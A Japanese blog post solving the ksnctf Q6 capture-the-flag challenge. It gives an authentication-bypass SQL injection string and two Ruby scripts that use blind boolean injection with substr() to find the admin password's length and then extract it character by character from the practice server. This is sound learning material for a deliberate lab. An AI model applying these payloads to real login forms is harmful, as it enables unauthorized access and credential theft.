読者です 読者をやめる 読者になる 読者になる

黒縁眼鏡は海を飛ぶ

IT中心にそこはかとなく

KSNCTFのQ6をRubyで解く

Ruby CTF

はじめに

この記事ではksnctfのQ6について、一応FLAGを得る部分までネタバレしています。
回答は記載していませんが、過程も知りたくない場合は見ないようにしてくださいね。


ksnctf Q6について

ksnctfのQ6はよくある認証突破の問題で、適切なIDとPASSを入力すればFLAGを入手できるというもの。htmlのソースを見ても特にヒントになりそうなことは書いていない。


解いていく

IDはadminを使ってね、と書いてあるので、試しに以下のように入力してみた。

  • ID: admin
  • PASS: admin' OR 'a' = 'a

無事に画面遷移したが、「簡単過ぎた?心配しなさんなww」と言われて問題はまだ続くっぽい。残念。
FLAGはadminのパスワードそのもので、ヒントとして認証部分のPHPのコードが表示される。
別の問題とは違ってsqliteのdatabase.dbは適切にパーミッションが振ってあるようで、落とすことはできない。

簡単なSQLを発行しているので、SQLインジェクションで正解を引き摺り出せということだと思い、まずはパスワードの長さを取得しようと考えた。

require 'net/http'
require 'uri'

http = URI.parse('http://ctfq.sweetduet.info:10080/~q6/')

comment = "--"
sql = "admin' AND (SELECT length(pass) FROM user WHERE id='admin') = " 

passwd_length = 0
(1 .. 30).each do |len|
  id = "#{sql}#{len}#{comment}"
  query = {'id' => "#{id}", 'password' => ""}
  response = Net::HTTP.post_form(http, query)
  if response.body.length > 2000
    passwd_length = len
    break
  end
end

puts passwd_length

SQLインジェクションが成功した場合、bodyの長さが2000を超えるので、超えた時点でbreakしている。
どうにも人力では大変そうな数値が出たので、認証突破もスクリプトで作る。

パスワード全体を直接吐かせるようなことはできないっぽいので、一文字ずつ総当たりしていくことに。

スクリプトを作る前にSQLインジェクション用のSQLをテスト。

admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1) ='F'--

ksnctfでは回答は必ずFLAGから始まるため、selectで引っこ抜いた文字列の1文字目がFであれば「簡単過ぎた?www」の画面が表示される。
SQLに明るくないので、substrがあるって学んだ。

パスワードの長さ、n文字目の特定方法が確立したので、さっさとパスワードを入手しましょう。

require 'net/http'
require 'uri'

http = URI.parse('http://ctfq.sweetduet.info:10080/~q6/')

arry_ans = Array.new

(1 .. 22).each do |i|
  sql = "admin' AND substr((SELECT pass FROM user WHERE id='admin'),#{i},1) = " 
  ("!" .. "~").each do |chr|
    id = "#{sql}\'#{chr}\'--"
    query = {'id' => "#{id}", 'password' => ""}
    response = Net::HTTP.post_form(http, query)
    if response.body.length > 2000
      arry_ans.push(chr)
      break
    end
  end
end

print arry_ans.join()

総当たりなのでめっちゃ時間かかりそう。。。
計測してみる。

$ ruby ksnctf6.rb
real    5m20.367s
user    0m2.722s
sys 0m0.928s

5分かかってるで。
もっと短くできるんでしょーか。


今回の学び

  • RubyでHTTP Request送りつける方法
  • 文字列って!から~の範囲指定とかできる
  • SQLのちょっとした知識